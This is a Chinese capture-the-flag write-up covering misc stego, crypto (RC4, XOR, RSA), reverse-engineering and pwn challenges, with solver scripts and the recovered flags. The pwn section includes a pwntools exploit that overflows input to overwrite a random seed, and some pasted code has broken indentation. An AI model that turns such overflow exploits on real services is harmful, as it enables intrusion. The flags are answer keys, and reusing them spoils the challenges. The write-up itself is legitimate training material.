感谢大神队友带飞

MISC                                                          

第一题:小套不是套-ucsc

先扫二维码拿到!@#QWE123987解压tess.zip 再用crc32爆破可得密钥: SecretIsY0u

打开mushroom.jpg,用010打开查看png模块发现有png图片,补全头部

最后用oursecret解密即可

Misc

No.shArk-ucsc

提示Cat,猜测是猫脸变换

import cv2
import numpy as np
import multiprocessing
import os

def arnold_decode(image, shuffle_times, a, b):
    h, w = image.shape[:2]
    N = h
    decode_image = np.zeros_like(image)
    for _ in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x - b * ori_y) % N
                new_y = (-a * ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
        image = decode_image.copy()
    return image

def process_parameters(params):
    image, c, a, b = params
    print(f"[+] Processing shuffle_times={c}, a={a}, b={b}")
    decoded_img = arnold_decode(image.copy(), c, a, b)
    output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"
    cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])

def arnold_brute(image, shuffle_times_range, a_range, b_range):
    tasks = []
    for c in range(shuffle_times_range[0], shuffle_times_range[1]):
        for a in range(a_range[0], a_range[1]):
            for b in range(b_range[0], b_range[1]):
                tasks.append((image, c, a, b))
    with multiprocessing.Pool(processes=os.cpu_count()) as pool:
        pool.map(process_parameters, tasks)

if __name__ == "__main__":
    img = cv2.imread("next.jpg")
    arnold_brute(img, (1, 8), (1, 12), (1, 12))

跑出后找到

flag{46962f4d-8d29-

使用工具跑出QRcode

扫描出Y0U_Fi8d_ItHa@aaHH,根据Snow猜测是雪花隐写的密钥

找到含“雪”的html文件

雪花隐写解出11ef-b3b6-a4b1c1c5a2d2}

Misc

USB-ucsc

Ctf-nat直接出

three-ucsc

Part1是盲水印

Part2

是解密就行了2进制,base64,摩斯即可

Part3

看到流量找到密码一个一个试试

这个就是密钥

解出来就行了

然后将三个部分拼起来即可

Web

ezLaravel-ucsc

直接dirb扫描发现flag.php

直接出答案了

下线的题

Response抓包flag字段即可base64解密

Crpyto

  1. XR4

题目的a直接给出,所有与a有关的都不需要改动,需要解出的就是data

使用的方法是异或,所以直接将随机数列表重塑为矩阵,然后进行与密文矩阵进行异或即可获得data(flag)

import base64
import random
from Crypto.Util.number import *
import numpy as np
def init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def decrypt(cipher, box):
    res = []
    i = j = 0
    cipher_bytes = base64.b64decode(cipher)
    for s in cipher_bytes:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    return (''.join(res))
def random_num(seed_num):
    random.seed(seed_num)

    # 假设这是转置后的矩阵
   
transposed_matrix = np.array([[1, 11, 116, 33, 68, 32],
                                  [111, 45, 19, 98, 52, 32],
                                  [38, 58, 113, 38, 119, 7],
                                  [110, 39, 60, 57, 56, 26],
                                  [95, 84, 91, 10, 43, 41],
                                  [44, 1, 118, 29, 125, 41]])


    T = [int(str(random.random()*10000)[0:2]) for i in range(36)]
    # T 转换为 numpy 数组
   
T_np = np.array(T)

    # 重塑为 6x6 的二维数组
   
T_reshaped = T_np.reshape(6, 6)

    result = transposed_matrix ^ T_reshaped

    for i in result:
        for j in i:
            print(chr(j),end="")

if __name__ == '__main__':
    ciphertext = "MjM184anvdA="
    key = "XR4"
    box = init_sbox(key)
    a=decrypt(ciphertext, box)
    print(a)
    random_num(int(a))
# transposed_matrix=(data.reshape(6*6))^T
# transposed_matrix=[[  1 111  38 110  95  44]
#  [ 11  45  58  39  84   1]
#  [116  19 113  60  91 118]
#  [ 33  98  38  57  10  29]
#  [ 68  52 119  56  43 125]
#  [ 32  32   7  26  41  41]]
  • Essential

题目flag一共两部分

首先解flag1,题目中具体的p、q生成规则为:

a=getPrime(512)
p=sympy.nextprime(13*a)
q=sympy.prevprime(25*a)
number2=p*q

而对于同一个数,它的next和prev素数一般来说不超过1500

所以直接对n整除(13*25)然后开根号然后一直遍历取下一个数直到能整除n,那么这个值即为a ,那么p、q也获得了

然后再看e,显然是e和phi的不互素问题,直接套模板即可获得flag

然后再看flag1

题目中为

while number2 > 0:
    if number2 % 2:
        number4 = (number4 * number1) % number3
    number1 = number1 ** 2 % number3
    number2 //= 2
return number4

对于number2,它在二进制的角度看就是如果当前位为1则乘上number1,而由于number4初始为1,且number1也仅仅和自己相乘,所以相乘又可以看作在指数上的相加

所以其实这个加密就可以看成是      pow(number1,number2,number3)

而我们解上一个flag时又已经获得了phi

那么直接正常RSA解密即可

Pwn

  1. BoFido

题目虽然没有栈溢出,但是却有数据溢出,也就是输入大小比变量大小大。并且看题目数据栈可以发现溢出能覆盖到seed的位置,所以直接把seed覆盖掉然后随机数就固定了,直接向服务器输出固定的随机数即可

from pwn import *

r = remote()

payload = 0x20*b'a' + b'1'
r.sendline(payload)

r.sendline(b'171 153 203')
r.sendline(b'202 0 183')
r.sendline(b'201 70 206')
r.sendline(b'195 45 120')
r.sendline(b'165 188 58')
r.sendline(b'252 232 96')
r.sendline(b'178 16 144')
r.sendline(b'65 93 195')
r.sendline(b'202 99 159')
r.sendline(b'236 80 162')

r.interactive()

Reverse

  1. EZ_debug

题目只做了一件事--进行异或,且输入的值直接与结果进行对比,所以直接动调拿然后Shift+F12就可以看到(或者你也可以自己解密)

REVERSE                                                 

第一题:simplere-ucsc

64位,因为加了upx的壳子,并且标志位改了

所以在010改标志位为upx,进行upx脱壳。打开IDA:

先进行base58加密(换表了),再进行异或,但是这里的异或是反向拿的,所以解密要逆序输出。

enc = [0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33, 0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41, 0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60, 0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57] enc1 = list() for i in range(0,len(enc), 1): result = enc[i] ^ (i + 1)  enc1.append(result) for i in range(len(enc)-1,-1, -1): print(chr(enc1[i]),end="")

第二题: EZ_debug-ucsc CTRL+E找到程序入口点:

这里可以很容易知道就是将v5数组的值进行的RC4加密,直接动调拿v5加密后的值即可。

flag{709e9bdd-0858-9750-8c37-9b135b31f16d}